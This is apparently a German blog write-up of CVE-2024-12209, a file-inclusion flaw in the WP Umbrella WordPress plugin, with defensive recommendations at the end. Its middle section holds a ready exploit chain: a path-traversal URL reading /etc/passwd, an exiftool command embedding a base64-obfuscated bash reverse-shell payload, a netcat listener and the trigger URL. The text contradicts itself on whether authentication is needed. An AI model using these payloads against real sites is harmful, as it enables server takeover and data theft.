# Kritische LFI-Schwachstelle in WP Umbrella ermöglicht RCE auf WordPress-Seiten
Eine kritische LFI-Schwachstelle mit CVSS 9.8 (CVE-2024-12209) wurde im WP Umbrella-Plugin entdeckt, das auf über 30.000 WordPress-Seiten verwendet wird. Sie betrifft den umbrella-restore-Endpunkt über den filename-Parameter und ermöglicht unauthentifizierten Nutzern die Remote-Code-Ausführung (RCE).
Das Plugin dient der zentralen Überwachung und Verwaltung mehrerer WordPress-Seiten und ist daher bei Agenturen und Freelancern beliebt. Die Schwachstelle wird durch dynamische Dateieinbindung ohne Pfadvalidierung ausgenutzt.
Einrichtung der Testumgebung
Um die Schwachstelle nachzuvollziehen, benötigen Sie einen lokalen LAMP/XAMPP-Stack mit PHP und MySQL. Installieren Sie WordPress:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
Führen Sie dann den Installer unter http://127.0.0.1/wordpress aus. Installieren Sie die anfällige Version des WP Umbrella-Plugins.
LFI-Mechanismus in umbrella-restore
Die Schwachstelle entsteht durch das Fehlen der Bereinigung des filename-Parameters in den PHP-Funktionen include/require. Ein Angreifer kann einen Pfad zu einer beliebigen Datei auf dem Server angeben.
Vektor 1: Direkte Auslesung von Systemdateien (Contributor-Rolle)
Für Rollen ohne Medien-Upload-Berechtigungen wird Path Traversal genutzt:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
Damit können die Inhalte von /etc/passwd ohne zusätzliche Berechtigungen ausgelesen werden.
Vektor 2: RCE über EXIF-Metadaten-Injection (Author-Rolle)
- Erstellen Sie eine JPG-Datei mit einem PHP-Payload im EXIF-Kommentar:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- Laden Sie die Datei über das Admin-Panel hoch: Medien → Neu hinzufügen.
- Kopieren Sie die URL der hochgeladenen Datei, z. B.
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Starten Sie einen Netcat-Listener:
nc -lvnp 4444
- Nutzen Sie die LFI aus:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
Der Payload wird ausgeführt und stellt eine Reverse-Shell auf Port 4444 her.
Schutzempfehlungen
- Aktualisieren Sie das WP Umbrella-Plugin auf die gepatchte Version.
- Führen Sie eine WAF mit Regeln gegen Path Traversal ein (ModSecurity OWASP CRS).
- Deaktivieren Sie den Zugriff auf
umbrella-restorefür unauthentifizierte Nutzer. - Verwenden Sie
open_basedirin der php.ini, um den Dateisystemzugriff einzuschränken. - Scannen Sie regelmäßig nach LFI mit Burp Suite oder Nuclei.
Wichtige Punkte
- Die CVSS-9.8-Schwachstelle ermöglicht unauthentifizierte RCE auf über 30.000 Seiten.
- Zwei Vektoren: direkte LFI und Injection über EXIF in hochgeladenen Mediadateien.
- Die Ausnutzung erfordert nur Frontend-Zugriff, Contributor-Rolle oder höher.
- Ein Patch ist zwingend erforderlich; ohne ihn droht Serverübernahme und Datenlecks.
- Testen Sie in einer isolierten Umgebung, vermeiden Sie Produktionssysteme.
— Editorial Team
Noch keine Kommentare.